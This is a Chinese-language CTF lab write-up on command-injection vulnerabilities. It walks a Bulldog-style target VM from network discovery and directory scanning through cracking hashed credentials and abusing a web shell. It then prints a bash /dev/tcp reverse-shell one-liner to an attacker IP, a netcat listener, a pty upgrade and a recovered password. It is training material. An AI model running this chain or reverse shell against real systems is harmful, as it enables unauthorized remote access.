ctf训练 命令执行漏洞
命令执行漏洞介绍
当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system、exec、shell_exec等,当用户可以控制命令执行函数中的参数时,将可以注入恶意系统命令到正常命令中,造成命令执行攻击。
调用这些函数执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行中,又没有过滤用户的输入的情况下,就会造成命令执行漏洞。
实验环境
一台kail攻击机 和 靶机
靶机镜像:https://pan.baidu.com/s/1wuAg-hARIBb_HNDZjqfrpQ
提取码:rh8v
安装打开靶机(使用Oracle VM VirtualBox打开):
(注意:靶机用桥接模式则攻击机也用桥接模式,注意检查!!!!)
接下来发现没法登陆,也没有办法获取ip地址
所以我们在kail下
进入控制台
使用netdiscover命令 netdiscover -r ip/子网掩码 命令来探测靶机
线程调到20,名字改为py
发现了admin这样一个目录
这里nikto发现一个可疑目录/dev
访问/dev,发现了一个web-shell
然后想着查看源代码,发现一些hash值,然后保存这些值
6515229daf8dbdc8b89fed2e60f107433da5f2cb 38882f3b81f8f2bc47d9f3119155b05f954892fb c6f7e34d5d08ba4a40dd5627508ccb55b425e279 0e6ae9fe8af1cd4192865ac97ebf6bda414218a9 553d917a396414ab99785694afd51df3a8a8a3e0 ddf45997a7e18a25ad5f5cf222da64814dd060d5 d8b8dd5e7f000b8dea26ef8428caf38c04466b3e
hash破解
使用在线工具进行破解,然后破解出来的值为bulldog,然后去源代码下查看,对应的用户名为nick,然后登录
开放了80端口,使用dirb进行探测
dirb http://靶机ip,发现了两个可疑目录admin和dev
接下来我们通过浏览器访问,http://靶机ip/admin/,是一个登录界面
然后我们就进入到了系统后台
漏洞利用
这里有安装教程:https://blog.csdn.net/qq_43799246/article/details/110669829
讲一个工具
挖漏洞,用扫描,可以使用AVWS进行扫描
这里输入靶机ip
然后点击scan,选择全扫描
然后就开始扫描了
我们进入了系统后台,再一次查看dev目录,然后我们发现这里的webshell可以点开了
根据提示我们可以尝试一下这些命令,得到结果
这里发现id不能使用
反弹shell
攻击机启动监听netcat
nc -nlvp 4444
靶场机器反弹shell
echo 'bash -i>& /dev/tcp/192.168.43.96/4444 0>&1' | bash
拿到shell
渗透测试技巧
优化反弹shell终端
python -c "import pty;pty.spawn('/bin/bash')"
我们在使用customPermissionApp提权时,先看说明文件
SUPERultimatePASSWORDyouCANTget